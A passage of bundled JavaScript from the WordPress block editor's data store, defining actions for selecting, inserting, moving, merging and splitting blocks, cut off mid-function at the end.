12697 type: "RESET_SELECTION",
12698 selectionStart,
12699 selectionEnd,
12700 initialPosition
12701 };
12702}
12703function receiveBlocks(blocks) {
12704 external_wp_deprecated_default()('wp.data.dispatch( "core/block-editor" ).receiveBlocks', {
12705 since: "5.9",
12706 alternative: "resetBlocks or insertBlocks"
12707 });
12708 return {
12709 type: "RECEIVE_BLOCKS",
12710 blocks
12711 };
12712}
12713function updateBlockAttributes(clientIds, attributes, options = { uniqueByBlock: false }) {
12714 if (typeof options === "boolean") {
12715 options = { uniqueByBlock: options };
12716 }
12717 return {
12718 type: "UPDATE_BLOCK_ATTRIBUTES",
12719 clientIds: actions_castArray(clientIds),
12720 attributes,
12721 options
12722 };
12723}
12724function updateBlock(clientId, updates) {
12725 return {
12726 type: "UPDATE_BLOCK",
12727 clientId,
12728 updates
12729 };
12730}
12731function selectBlock(clientId, initialPosition = 0) {
12732 return {
12733 type: "SELECT_BLOCK",
12734 initialPosition,
12735 clientId
12736 };
12737}
12738function hoverBlock() {
12739 external_wp_deprecated_default()('wp.data.dispatch( "core/block-editor" ).hoverBlock', {
12740 since: "6.9",
12741 version: "7.1"
12742 });
12743 return {
12744 type: "DO_NOTHING"
12745 };
12746}
12747const selectPreviousBlock = (clientId, fallbackToParent = false) => ({ select, dispatch }) => {
12748 const previousBlockClientId = select.getPreviousBlockClientId(clientId);
12749 if (previousBlockClientId) {
12750 dispatch.selectBlock(previousBlockClientId, -1);
12751 } else if (fallbackToParent) {
12752 const firstParentClientId = select.getBlockRootClientId(clientId);
12753 if (firstParentClientId) {
12754 dispatch.selectBlock(firstParentClientId, -1);
12755 }
12756 }
12757};
12758const selectNextBlock = (clientId) => ({ select, dispatch }) => {
12759 const nextBlockClientId = select.getNextBlockClientId(clientId);
12760 if (nextBlockClientId) {
12761 dispatch.selectBlock(nextBlockClientId);
12762 }
12763};
12764function startMultiSelect() {
12765 return {
12766 type: "START_MULTI_SELECT"
12767 };
12768}
12769function stopMultiSelect() {
12770 return {
12771 type: "STOP_MULTI_SELECT"
12772 };
12773}
12774const multiSelect = (start, end, __experimentalInitialPosition = 0) => ({ select, dispatch }) => {
12775 const startBlockRootClientId = select.getBlockRootClientId(start);
12776 const endBlockRootClientId = select.getBlockRootClientId(end);
12777 if (startBlockRootClientId !== endBlockRootClientId) {
12778 return;
12779 }
12780 dispatch({
12781 type: "MULTI_SELECT",
12782 start,
12783 end,
12784 initialPosition: __experimentalInitialPosition
12785 });
12786 const blockCount = select.getSelectedBlockCount();
12787 (0,external_wp_a11y_namespaceObject.speak)(
12788 (0,external_wp_i18n_namespaceObject.sprintf)(
12789 /* translators: %s: number of selected blocks */
12790 (0,external_wp_i18n_namespaceObject._n)("%s block selected.", "%s blocks selected.", blockCount),
12791 blockCount
12792 ),
12793 "assertive"
12794 );
12795};
12796function clearSelectedBlock() {
12797 return {
12798 type: "CLEAR_SELECTED_BLOCK"
12799 };
12800}
12801function toggleSelection(isSelectionEnabled = true) {
12802 return {
12803 type: "TOGGLE_SELECTION",
12804 isSelectionEnabled
12805 };
12806}
12807const replaceBlocks = (clientIds, blocks, indexToSelect, initialPosition = 0, meta) => ({ select, dispatch, registry }) => {
12808 clientIds = actions_castArray(clientIds);
12809 blocks = actions_castArray(blocks);
12810 const rootClientId = select.getBlockRootClientId(clientIds[0]);
12811 for (let index = 0; index < blocks.length; index++) {
12812 const block = blocks[index];
12813 const canInsertBlock = select.canInsertBlockType(
12814 block.name,
12815 rootClientId
12816 );
12817 if (!canInsertBlock) {
12818 return;
12819 }
12820 }
12821 registry.batch(() => {
12822 dispatch({
12823 type: "REPLACE_BLOCKS",
12824 clientIds,
12825 blocks,
12826 time: Date.now(),
12827 indexToSelect,
12828 initialPosition,
12829 meta
12830 });
12831 dispatch.ensureDefaultBlock();
12832 });
12833};
12834function replaceBlock(clientId, block) {
12835 return replaceBlocks(clientId, block);
12836}
12837const createOnMove = (type) => (clientIds, rootClientId) => ({ select, dispatch }) => {
12838 const canMoveBlocks = select.canMoveBlocks(clientIds);
12839 if (!canMoveBlocks) {
12840 return;
12841 }
12842 dispatch({ type, clientIds: actions_castArray(clientIds), rootClientId });
12843};
12844const moveBlocksDown = createOnMove("MOVE_BLOCKS_DOWN");
12845const moveBlocksUp = createOnMove("MOVE_BLOCKS_UP");
12846const moveBlocksToPosition = (clientIds, fromRootClientId = "", toRootClientId = "", index) => ({ select, dispatch }) => {
12847 const canMoveBlocks = select.canMoveBlocks(clientIds);
12848 if (!canMoveBlocks) {
12849 return;
12850 }
12851 if (fromRootClientId !== toRootClientId) {
12852 const canRemoveBlocks = select.canRemoveBlocks(clientIds);
12853 if (!canRemoveBlocks) {
12854 return;
12855 }
12856 const canInsertBlocks = select.canInsertBlocks(
12857 clientIds,
12858 toRootClientId
12859 );
12860 if (!canInsertBlocks) {
12861 return;
12862 }
12863 }
12864 dispatch({
12865 type: "MOVE_BLOCKS_TO_POSITION",
12866 fromRootClientId,
12867 toRootClientId,
12868 clientIds,
12869 index
12870 });
12871};
12872function moveBlockToPosition(clientId, fromRootClientId = "", toRootClientId = "", index) {
12873 return moveBlocksToPosition(
12874 [clientId],
12875 fromRootClientId,
12876 toRootClientId,
12877 index
12878 );
12879}
12880function insertBlock(block, index, rootClientId, updateSelection, meta) {
12881 return insertBlocks(
12882 [block],
12883 index,
12884 rootClientId,
12885 updateSelection,
12886 0,
12887 meta
12888 );
12889}
12890const insertBlocks = (blocks, index, rootClientId, updateSelection = true, initialPosition = 0, meta) => ({ select, dispatch }) => {
12891 if (initialPosition !== null && typeof initialPosition === "object") {
12892 meta = initialPosition;
12893 initialPosition = 0;
12894 external_wp_deprecated_default()(
12895 "meta argument in wp.data.dispatch('core/block-editor')",
12896 {
12897 since: "5.8",
12898 hint: "The meta argument is now the 6th argument of the function"
12899 }
12900 );
12901 }
12902 blocks = actions_castArray(blocks);
12903 const allowedBlocks = [];
12904 for (const block of blocks) {
12905 const isValid = select.canInsertBlockType(
12906 block.name,
12907 rootClientId
12908 );
12909 if (isValid) {
12910 allowedBlocks.push(block);
12911 }
12912 }
12913 if (allowedBlocks.length) {
12914 dispatch({
12915 type: "INSERT_BLOCKS",
12916 blocks: allowedBlocks,
12917 index,
12918 rootClientId,
12919 time: Date.now(),
12920 updateSelection,
12921 initialPosition: updateSelection ? initialPosition : null,
12922 meta
12923 });
12924 }
12925};
12926function showInsertionPoint(rootClientId, index, __unstableOptions = {}) {
12927 const { __unstableWithInserter, operation, nearestSide } = __unstableOptions;
12928 return {
12929 type: "SHOW_INSERTION_POINT",
12930 rootClientId,
12931 index,
12932 __unstableWithInserter,
12933 operation,
12934 nearestSide
12935 };
12936}
12937const hideInsertionPoint = () => ({ select, dispatch }) => {
12938 if (!select.isBlockInsertionPointVisible()) {
12939 return;
12940 }
12941 dispatch({
12942 type: "HIDE_INSERTION_POINT"
12943 });
12944};
12945function setTemplateValidity(isValid) {
12946 return {
12947 type: "SET_TEMPLATE_VALIDITY",
12948 isValid
12949 };
12950}
12951const synchronizeTemplate = () => ({ select, dispatch }) => {
12952 dispatch({ type: "SYNCHRONIZE_TEMPLATE" });
12953 const blocks = select.getBlocks();
12954 const template = select.getTemplate();
12955 const updatedBlockList = (0,external_wp_blocks_namespaceObject.synchronizeBlocksWithTemplate)(
12956 blocks,
12957 template
12958 );
12959 dispatch.resetBlocks(updatedBlockList);
12960};
12961const __unstableDeleteSelection = (isForward) => ({ registry, select, dispatch }) => {
12962 const selectionAnchor = select.getSelectionStart();
12963 const selectionFocus = select.getSelectionEnd();
12964 if (selectionAnchor.clientId === selectionFocus.clientId) {
12965 return;
12966 }
12967 if (!selectionAnchor.attributeKey || !selectionFocus.attributeKey || typeof selectionAnchor.offset === "undefined" || typeof selectionFocus.offset === "undefined") {
12968 return false;
12969 }
12970 const anchorRootClientId = select.getBlockRootClientId(
12971 selectionAnchor.clientId
12972 );
12973 const focusRootClientId = select.getBlockRootClientId(
12974 selectionFocus.clientId
12975 );
12976 if (anchorRootClientId !== focusRootClientId) {
12977 return;
12978 }
12979 const blockOrder = select.getBlockOrder(anchorRootClientId);
12980 const anchorIndex = blockOrder.indexOf(selectionAnchor.clientId);
12981 const focusIndex = blockOrder.indexOf(selectionFocus.clientId);
12982 let selectionStart, selectionEnd;
12983 if (anchorIndex > focusIndex) {
12984 selectionStart = selectionFocus;
12985 selectionEnd = selectionAnchor;
12986 } else {
12987 selectionStart = selectionAnchor;
12988 selectionEnd = selectionFocus;
12989 }
12990 const targetSelection = isForward ? selectionEnd : selectionStart;
12991 const targetBlock = select.getBlock(targetSelection.clientId);
12992 const targetBlockType = (0,external_wp_blocks_namespaceObject.getBlockType)(targetBlock.name);
12993 if (!targetBlockType.merge) {
12994 return;
12995 }
12996 const selectionA = selectionStart;
12997 const selectionB = selectionEnd;
12998 const blockA = select.getBlock(selectionA.clientId);
12999 const blockB = select.getBlock(selectionB.clientId);
13000 const htmlA = blockA.attributes[selectionA.attributeKey];
13001 const htmlB = blockB.attributes[selectionB.attributeKey];
13002 let valueA = (0,external_wp_richText_namespaceObject.create)({ html: htmlA });
13003 let valueB = (0,external_wp_richText_namespaceObject.create)({ html: htmlB });
13004 valueA = (0,external_wp_richText_namespaceObject.remove)(valueA, selectionA.offset, valueA.text.length);
13005 valueB = (0,external_wp_richText_namespaceObject.insert)(valueB, START_OF_SELECTED_AREA, 0, selectionB.offset);
13006 const cloneA = (0,external_wp_blocks_namespaceObject.cloneBlock)(blockA, {
13007 [selectionA.attributeKey]: (0,external_wp_richText_namespaceObject.toHTMLString)({ value: valueA })
13008 });
13009 const cloneB = (0,external_wp_blocks_namespaceObject.cloneBlock)(blockB, {
13010 [selectionB.attributeKey]: (0,external_wp_richText_namespaceObject.toHTMLString)({ value: valueB })
13011 });
13012 const followingBlock = isForward ? cloneA : cloneB;
13013 const blocksWithTheSameType = blockA.name === blockB.name ? [followingBlock] : (0,external_wp_blocks_namespaceObject.switchToBlockType)(followingBlock, targetBlockType.name);
13014 if (!blocksWithTheSameType || !blocksWithTheSameType.length) {
13015 return;
13016 }
13017 let updatedAttributes;
13018 if (isForward) {
13019 const blockToMerge = blocksWithTheSameType.pop();
13020 updatedAttributes = targetBlockType.merge(
13021 blockToMerge.attributes,
13022 cloneB.attributes
13023 );
13024 } else {
13025 const blockToMerge = blocksWithTheSameType.shift();
13026 updatedAttributes = targetBlockType.merge(
13027 cloneA.attributes,
13028 blockToMerge.attributes
13029 );
13030 }
13031 const newAttributeKey = retrieveSelectedAttribute(updatedAttributes);
13032 const convertedHtml = updatedAttributes[newAttributeKey];
13033 const convertedValue = (0,external_wp_richText_namespaceObject.create)({ html: convertedHtml });
13034 const newOffset = convertedValue.text.indexOf(START_OF_SELECTED_AREA);
13035 const newValue = (0,external_wp_richText_namespaceObject.remove)(convertedValue, newOffset, newOffset + 1);
13036 const newHtml = (0,external_wp_richText_namespaceObject.toHTMLString)({ value: newValue });
13037 updatedAttributes[newAttributeKey] = newHtml;
13038 const selectedBlockClientIds = select.getSelectedBlockClientIds();
13039 const replacement = [
13040 ...isForward ? blocksWithTheSameType : [],
13041 {
13042 // Preserve the original client ID.
13043 ...targetBlock,
13044 attributes: {
13045 ...targetBlock.attributes,
13046 ...updatedAttributes
13047 }
13048 },
13049 ...isForward ? [] : blocksWithTheSameType
13050 ];
13051 registry.batch(() => {
13052 dispatch.selectionChange(
13053 targetBlock.clientId,
13054 newAttributeKey,
13055 newOffset,
13056 newOffset
13057 );
13058 dispatch.replaceBlocks(
13059 selectedBlockClientIds,
13060 replacement,
13061 0,
13062 // If we don't pass the `indexToSelect` it will default to the last block.
13063 select.getSelectedBlocksInitialCaretPosition()
13064 );
13065 });
13066};
13067const __unstableSplitSelection = (blocks = []) => ({ registry, select, dispatch }) => {
13068 const selectionAnchor = select.getSelectionStart();
13069 const selectionFocus = select.getSelectionEnd();
13070 const anchorRootClientId = select.getBlockRootClientId(
13071 selectionAnchor.clientId
13072 );
13073 const focusRootClientId = select.getBlockRootClientId(
13074 selectionFocus.clientId
13075 );
13076 if (anchorRootClientId !== focusRootClientId) {
13077 return;
13078 }
13079 const blockOrder = select.getBlockOrder(anchorRootClientId);
13080 const anchorIndex = blockOrder.indexOf(selectionAnchor.clientId);
13081 const focusIndex = blockOrder.indexOf(selectionFocus.clientId);
13082 let selectionStart, selectionEnd;
13083 if (anchorIndex > focusIndex) {
13084 selectionStart = selectionFocus;
13085 selectionEnd = selectionAnchor;
13086 } else {
13087 selectionStart = selectionAnchor;
13088 selectionEnd = selectionFocus;
13089 }
13090 const selectionA = selectionStart;
13091 const selectionB = selectionEnd;
13092 const blockA = select.getBlock(selectionA.clientId);
13093 const blockB = select.getBlock(selectionB.clientId);
13094 const blockAType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockA.name);
13095 const blockBType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockB.name);
13096 const attributeKeyA = typeof selectionA.attributeKey === "string" ? selectionA.attributeKey : findRichTextAttributeKey(blockAType);
13097 const attributeKeyB = typeof selectionB.attributeKey === "string" ? selectionB.attributeKey : findRichTextAttributeKey(blockBType);
13098 const blockAttributes = select.getBlockAttributes(
13099 selectionA.clientId
13100 );
13101 const bindings = blockAttributes?.metadata?.bindings;
13102 if (bindings?.[attributeKeyA]) {
13103 if (blocks.length) {
13104 const { createWarningNotice } = registry.dispatch(external_wp_notices_namespaceObject.store);
13105 createWarningNotice(
13106 (0,external_wp_i18n_namespaceObject.__)(
13107 "Blocks can't be inserted into other blocks with bindings"
13108 ),
13109 {
13110 type: "snackbar"
13111 }
13112 );
13113 return;
13114 }
13115 dispatch.insertAfterBlock(selectionA.clientId);
13116 return;
13117 }
13118 if (!attributeKeyA || !attributeKeyB || typeof selectionAnchor.offset === "undefined" || typeof selectionFocus.offset === "undefined") {
13119 return;
13120 }
13121 if (selectionA.clientId === selectionB.clientId && attributeKeyA === attributeKeyB && selectionA.offset === selectionB.offset) {
13122 if (blocks.length) {
13123 if ((0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(blockA)) {
13124 dispatch.replaceBlocks(
13125 [selectionA.clientId],
13126 blocks,
13127 blocks.length - 1,
13128 -1
13129 );
13130 return;
13131 }
13132 } else if (!select.getBlockOrder(selectionA.clientId).length) {
13133 let createEmpty2 = function() {
13134 const defaultBlockName2 = (0,external_wp_blocks_namespaceObject.getDefaultBlockName)();
13135 return select.canInsertBlockType(
13136 defaultBlockName2,
13137 anchorRootClientId
13138 ) ? (0,external_wp_blocks_namespaceObject.createBlock)(defaultBlockName2) : (0,external_wp_blocks_namespaceObject.createBlock)(
13139 select.getBlockName(selectionA.clientId)
13140 );
13141 };
13142 var createEmpty = createEmpty2;
13143 const length = blockAttributes[attributeKeyA].length;
13144 if (selectionA.offset === 0 && length) {
13145 dispatch.insertBlocks(
13146 [createEmpty2()],
13147 select.getBlockIndex(selectionA.clientId),
13148 anchorRootClientId,
13149 false
13150 );
13151 return;
13152 }
13153 if (selectionA.offset === length) {
13154 dispatch.insertBlocks(
13155 [createEmpty2()],
13156 select.getBlockIndex(selectionA.clientId) + 1,
13157 anchorRootClientId
13158 );
13159 return;
13160 }
13161 }
13162 }
13163 const htmlA = blockA.attributes[attributeKeyA];
13164 const htmlB = blockB.attributes[attributeKeyB];
13165 let valueA = (0,external_wp_richText_namespaceObject.create)({ html: htmlA });
13166 let valueB = (0,external_wp_richText_namespaceObject.create)({ html: htmlB });
13167 valueA = (0,external_wp_richText_namespaceObject.remove)(valueA, selectionA.offset, valueA.text.length);
13168 valueB = (0,external_wp_richText_namespaceObject.remove)(valueB, 0, selectionB.offset);
13169 let head = {
13170 // Preserve the original client ID.
13171 ...blockA,
13172 // If both start and end are the same, should only copy innerBlocks
13173 // once.
13174 innerBlocks: blockA.clientId === blockB.clientId ? [] : blockA.innerBlocks,
13175 attributes: {
13176 ...blockA.attributes,
13177 [attributeKeyA]: (0,external_wp_richText_namespaceObject.toHTMLString)({ value: valueA })
13178 }
13179 };
13180 let tail = {
13181 ...blockB,
13182 // Only preserve the original client ID if the end is different.
13183 clientId: blockA.clientId === blockB.clientId ? (0,external_wp_blocks_namespaceObject.createBlock)(blockB.name).clientId : blockB.clientId,
13184 attributes: {
13185 ...blockB.attributes,
13186 [attributeKeyB]: (0,external_wp_richText_namespaceObject.toHTMLString)({ value: valueB })
13187 }
13188 };
13189 const defaultBlockName = (0,external_wp_blocks_namespaceObject.getDefaultBlockName)();
13190 if (
13191 // A block is only split when the selection is within the same
13192 // block.
13193 blockA.clientId === blockB.clientId && defaultBlockName && tail.name !== defaultBlockName && select.canInsertBlockType(defaultBlockName, anchorRootClientId)
13194 ) {
13195 const switched = (0,external_wp_blocks_namespaceObject.switchToBlockType)(tail, defaultBlockName);
13196 if (switched?.length === 1) {
13197 tail = switched[0];
13198 }
13199 }
13200 if (!blocks.length) {
13201 dispatch.replaceBlocks(select.getSelectedBlockClientIds(), [
13202 head,
13203 tail
13204 ]);
13205 return;
13206 }
13207 let selection;
13208 const output = [];
13209 const clonedBlocks = [...blocks];
13210 const firstBlock = clonedBlocks.shift();
13211 const headType = (0,external_wp_blocks_namespaceObject.getBlockType)(head.name);
13212 const firstBlocks = headType.merge && firstBlock.name === headType.name ? [firstBlock] : (0,external_wp_blocks_namespaceObject.switchToBlockType)(firstBlock, headType.name);
13213 if (firstBlocks?.length) {
13214 const first = firstBlocks.shift();
13215 head = {
13216 ...head,
13217 attributes: {
13218 ...head.attributes,
13219 ...headType.merge(head.attributes, first.attributes)
13220 }
13221 };
13222 output.push(head);
13223 selection = {
13224 clientId: head.clientId,
13225 attributeKey: attributeKeyA,
13226 offset: (0,external_wp_richText_namespaceObject.create)({ html: head.attributes[attributeKeyA] }).text.length
13227 };
13228 clonedBlocks.unshift(...firstBlocks);
13229 } else {
13230 if (!(0,external_wp_blocks_namespaceObject.isUnmodifiedBlock)(head)) {
13231 output.push(head);
13232 }
13233 output.push(firstBlock);
13234 }
13235 const lastBlock = clonedBlocks.pop();
13236 const tailType = (0,external_wp_blocks_namespaceObject.getBlockType)(tail.name);
13237 if (clonedBlocks.length) {
13238 output.push(...clonedBlocks);
13239 }
13240 if (lastBlock) {
13241 const lastBlocks = tailType.merge && tailType.name === lastBlock.name ? [lastBlock] : (0,external_wp_blocks_namespaceObject.switchToBlockType)(lastBlock, tailType.name);
13242 if (lastBlocks?.length) {
13243 const last = lastBlocks.pop();
13244 output.push({
13245 ...tail,
13246 attributes: {
13247 ...tail.attributes,
13248 ...tailType.merge(last.attributes, tail.attributes)
13249 }
13250 });
13251 output.push(...lastBlocks);
13252 selection = {
13253 clientId: tail.clientId,
13254 attributeKey: attributeKeyB,
13255 offset: (0,external_wp_richText_namespaceObject.create)({
13256 html: last.attributes[attributeKeyB]
13257 }).text.length
13258 };
13259 } else {
13260 output.push(lastBlock);
13261 if (!(0,external_wp_blocks_namespaceObject.isUnmodifiedBlock)(tail)) {
13262 output.push(tail);
13263 }
13264 }
13265 } else if (!(0,external_wp_blocks_namespaceObject.isUnmodifiedBlock)(tail)) {
13266 output.push(tail);
13267 }
13268 registry.batch(() => {
13269 dispatch.replaceBlocks(
13270 select.getSelectedBlockClientIds(),
13271 output,
13272 output.length - 1,
13273 0
13274 );
13275 if (selection) {
13276 dispatch.selectionChange(
13277 selection.clientId,
13278 selection.attributeKey,
13279 selection.offset,
13280 selection.offset
13281 );
13282 }
13283 });
13284};
13285const __unstableExpandSelection = () => ({ select, dispatch }) => {
13286 const selectionAnchor = select.getSelectionStart();
13287 const selectionFocus = select.getSelectionEnd();
13288 dispatch.selectionChange({
13289 start: { clientId: selectionAnchor.clientId },
13290 end: { clientId: selectionFocus.clientId }
13291 });
13292};
13293const mergeBlocks = (firstBlockClientId, secondBlockClientId) => ({ registry, select, dispatch }) => {
13294 const clientIdA = firstBlockClientId;
13295 const clientIdB = secondBlockClientId;
13296 const blockA = select.getBlock(clientIdA);
13297 const blockAType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockA.name);
13298 if (!blockAType || select.getBlockEditingMode(clientIdA) === "disabled" || select.getBlockEditingMode(clientIdB) === "disabled") {
13299 return;
13300 }
13301 const blockB = select.getBlock(clientIdB);
13302 if (!blockAType.merge && (0,external_wp_blocks_namespaceObject.getBlockSupport)(blockA.name, "__experimentalOnMerge")) {
13303 const blocksWithTheSameType2 = (0,external_wp_blocks_namespaceObject.switchToBlockType)(
13304 blockB,
13305 blockAType.name
13306 );
13307 if (blocksWithTheSameType2?.length !== 1) {
13308 dispatch.selectBlock(blockA.clientId);
13309 return;
13310 }
13311 const [blockWithSameType] = blocksWithTheSameType2;
13312 if (blockWithSameType.innerBlocks.length < 1) {
13313 dispatch.selectBlock(blockA.clientId);
13314 return;
13315 }
13316 registry.batch(() => {
13317 dispatch.insertBlocks(
13318 blockWithSameType.innerBlocks,
13319 void 0,
13320 clientIdA
13321 );
13322 dispatch.removeBlock(clientIdB);
13323 dispatch.selectBlock(
13324 blockWithSameType.innerBlocks[0].clientId
13325 );
13326 const nextBlockClientId = select.getNextBlockClientId(clientIdA);
13327 if (nextBlockClientId && select.getBlockName(clientIdA) === select.getBlockName(nextBlockClientId)) {
13328 const rootAttributes = select.getBlockAttributes(clientIdA);
13329 const previousRootAttributes = select.getBlockAttributes(nextBlockClientId);
13330 if (Object.keys(rootAttributes).every(
13331 (key) => rootAttributes[key] === previousRootAttributes[key]
13332 )) {
13333 dispatch.moveBlocksToPosition(
13334 select.getBlockOrder(nextBlockClientId),
13335 nextBlockClientId,
13336 clientIdA
13337 );
13338 dispatch.removeBlock(nextBlockClientId, false);
13339 }
13340 }
13341 });
13342 return;
13343 }
13344 if ((0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(blockA)) {
13345 dispatch.removeBlock(
13346 clientIdA,
13347 select.isBlockSelected(clientIdA)
13348 );
13349 return;
13350 }
13351 if ((0,external_wp_blocks_namespaceObject.isUnmodifiedDefaultBlock)(blockB)) {
13352 dispatch.removeBlock(
13353 clientIdB,
13354 select.isBlockSelected(clientIdB)
13355 );
13356 return;
13357 }
13358 if (!blockAType.merge) {
13359 if ((0,external_wp_blocks_namespaceObject.isUnmodifiedBlock)(blockB, "content")) {
13360 dispatch.removeBlock(
13361 clientIdB,
13362 select.isBlockSelected(clientIdB)
13363 );
13364 } else {
13365 dispatch.selectBlock(blockA.clientId);
13366 }
13367 return;
13368 }
13369 const blockBType = (0,external_wp_blocks_namespaceObject.getBlockType)(blockB.name);
13370 const { clientId, attributeKey, offset } = select.getSelectionStart();
13371 const selectedBlockType = clientId === clientIdA ? blockAType : blockBType;
13372 const attributeDefinition = selectedBlockType.attributes[attributeKey];
13373 const canRestoreTextSelection = (clientId === clientIdA || clientId === clientIdB) && attributeKey !== void 0 && offset !== void 0 && // We cannot restore text selection if the RichText identifier
13374 // is not a defined block attribute key. This can be the case if the
13375 // fallback instance ID is used to store selection (and no RichText
13376 // identifier is set), or when the identifier is wrong.
13377 !!attributeDefinition;
13378 if (!attributeDefinition) {
13379 if (typeof attributeKey === "number") {
13380 window.console.error(
13381 `RichText needs an identifier prop that is the block attribute key of the attribute it controls. Its type is expected to be a string, but was ${typeof attributeKey}`
13382 );
13383 } else {
13384 window.console.error(
13385 "The RichText identifier prop does not match any attributes defined by the block."
13386 );
13387 }
13388 }
13389 const cloneA = (0,external_wp_blocks_namespaceObject.cloneBlock)(blockA);
13390 const cloneB = (0,external_wp_blocks_namespaceObject.cloneBlock)(blockB);
13391 if (canRestoreTextSelection) {
13392 const selectedBlock = clientId === clientIdA ? cloneA : cloneB;
13393 const html = selectedBlock.attributes[attributeKey];
13394 const value = (0,external_wp_richText_namespaceObject.insert)(
13395 (0,external_wp_richText_namespaceObject.create)({ html }),
13396 START_OF_SELECTED_AREA,
13397 offset,
13398 offset
13399 );
13400 selectedBlock.attributes[attributeKey] = (0,external_wp_richText_namespaceObject.toHTMLString)({
13401 value
13402 });
13403 }
13404 const blocksWithTheSameType = blockA.name === blockB.name ? [cloneB] : (0,external_wp_blocks_namespaceObject.switchToBlockType)(cloneB, blockA.name);
13405 if (!blocksWithTheSameType || !blocksWithTheSameType.length) {
13406 return;
13407 }
13408 const updatedAttributes = blockAType.merge(
13409 cloneA.attributes,
13410 blocksWithTheSameType[0].attributes
13411 );
13412 if (canRestoreTextSelection) {
13413 const newAttributeKey = retrieveSelectedAttribute(updatedAttributes);
13414 const convertedHtml = updatedAttributes[newAttributeKey];
13415 const convertedValue = (0,external_wp_richText_namespaceObject.create)({ html: convertedHtml });
13416 const newOffset = convertedValue.text.indexOf(
13417 START_OF_SELECTED_AREA
13418 );
13419 const newValue = (0,external_wp_richText_namespaceObject.remove)(convertedValue, newOffset, newOffset + 1);
13420 const newHtml = (0,external_wp_richText_namespaceObject.toHTMLString)({ value: newValue });
13421 updatedAttributes[newAttributeKey] = newHtml;
13422 dispatch.selectionChange(
13423 blockA.clientId,
13424 newAttributeKey,
13425 newOffset,
13426 newOffset
13427 );
13428 }
13429 dispatch.replaceBlocks(
13430 [blockA.clientId, blockB.clientId],
13431 [
13432 {
13433 ...blockA,
13434 attributes: {
13435 ...blockA.attributes,
13436 ...updatedAttributes
13437 }
13438 },
13439 ...blocksWithTheSameType.slice(1)
13440 ],
13441 0
13442 // If we don't pass the `indexToSelect` it will default to the last block.
13443 );
13444};
13445const removeBlocks = (clientIds, selectPrevious = true) => privateRemoveBlocks(clientIds, selectPrevious);
13446function removeBlock(clientId, selectPrevious) {
13447 return removeBlocks([clientId], selectPrevious);
13448}
13449function replaceInnerBlocks(rootClientId, blocks, updateSelection = false, initialPosition = 0) {
13450 return {
13451 type: "REPLACE_INNER_BLOCKS",
13452 rootClientId,
13453 blocks,
13454 updateSelection,
13455 initialPosition: updateSelection ? initialPosition : null,
13456 time: Date.now()
13457 };
13458}
13459function toggleBlockMode(clientId) {
13460 return {
13461 type: "TOGGLE_BLOCK_MODE",
13462 clientId
13463 };
13464}
13465function startTyping() {
13466 return {
13467 type: "START_TYPING"
13468 };
13469}
13470function stopTyping() {
13471 return {
13472 type: "STOP_TYPING"
13473 };
13474}
13475function startDraggingBlocks(clientIds = []) {
13476 return {
13477 type: "START_DRAGGING_BLOCKS",
13478 clientIds
13479 };
13480}
13481function stopDraggingBlocks() {
13482 return {
13483 type: "STOP_DRAGGING_BLOCKS"
13484 };
13485}
13486function enterFormattedText() {
13487 external_wp_deprecated_default()('wp.data.dispatch( "core/block-editor" ).enterFormattedText', {
13488 since: "6.1",
13489 version: "6.3"
13490 });
13491 return {
13492 type: "DO_NOTHING"
13493 };
13494}
13495function exitFormattedText() {
13496 external_wp_deprecated_default()('wp.data.dispatch( "core/block-editor" ).exitFormattedText', {
13497 since: "6.1",
13498 version: "6.3"
13499 });
13500 return {
13501 type: "DO_NOTHING"
13502 };
13503}
13504function selectionChange(clientId, attributeKey, startOffset, endOffset) {
13505 if (typeof clientId === "string") {
13506 return {
13507 type: "SELECTION_CHANGE",
13508 clientId,
13509 attributeKey,
13510 startOffset,
13511 endOffset
13512 };
13513 }
13514 return { type: "SELECTION_CHANGE", ...clientId };
13515}
13516const insertDefaultBlock = (attributes, rootClientId, index) => ({ dispatch }) => {
13517 const defaultBlockName = (0,external_wp_blocks_namespaceObject.getDefaultBlockName)();
13518 if (!defaultBlockName) {
13519 return;
13520 }
13521 const block = (0,external_wp_blocks_namespaceObject.createBlock)(defaultBlockName, attributes);
13522 return dispatch.insertBlock(block, index, rootClientId);
13523};
13524function updateBlockListSettings(clientId, settings) {
13525 return {
13526 type: "UPDATE_BLOCK_LIST_SETTINGS",
13527 clientId,
13528 settings
13529 };
13530}
13531function updateSettings(settings) {
13532 return __experimentalUpdateSettings(settings, {
13533 stripExperimentalSettings: true
13534 });
13535}
13536function __unstableSaveReusableBlock(id, updatedId) {
13537 return {
13538 type: "SAVE_REUSABLE_BLOCK_SUCCESS",
13539 id,
13540 updatedId
13541 };
13542}
13543function __unstableMarkLastChangeAsPersistent() {
13544 return { type: "MARK_LAST_CHANGE_AS_PERSISTENT" };
13545}
13546function __unstableMarkNextChangeAsNotPersistent() {
13547 return { type: "MARK_NEXT_CHANGE_AS_NOT_PERSISTENT" };
13548}
13549const __unstableMarkAutomaticChange = () => ({ dispatch }) => {
13550 dispatch({ type: "MARK_AUTOMATIC_CHANGE" });
13551 const { requestIdleCallback = (cb) => setTimeout(cb, 100) } = window;
13552 requestIdleCallback(() => {
13553 dispatch({ type: "MARK_AUTOMATIC_CHANGE_FINAL" });
13554 });
13555};
13556const __unstableSetEditorMode = (mode) => ({ registry }) => {
13557 registry.dispatch(external_wp_preferences_namespaceObject.store).set("core", "editorTool", mode);
13558 if (mode === "navigation") {
13559 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("You are currently in Write mode."));
13560 } else if (mode === "edit") {
13561 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("You are currently in Design mode."));
13562 }
13563};
13564function setBlockMovingClientId() {
13565 external_wp_deprecated_default()(
13566 'wp.data.dispatch( "core/block-editor" ).setBlockMovingClientId',
13567 {
13568 since: "6.7",
13569 hint: "Block moving mode feature has been removed"
13570 }
13571 );
13572 return {
13573 type: "DO_NOTHING"
13574 };
13575}
13576const duplicateBlocks = (clientIds, updateSelection = true) => ({ select, dispatch }) => {
13577 if (!clientIds || !clientIds.length) {
13578 return;
13579 }
13580 const blocks = select.getBlocksByClientId(clientIds);
13581 if (blocks.some((block) => !block)) {
13582 return;
13583 }
13584 const blockNames = blocks.map((block) => block.name);
13585 if (blockNames.some(
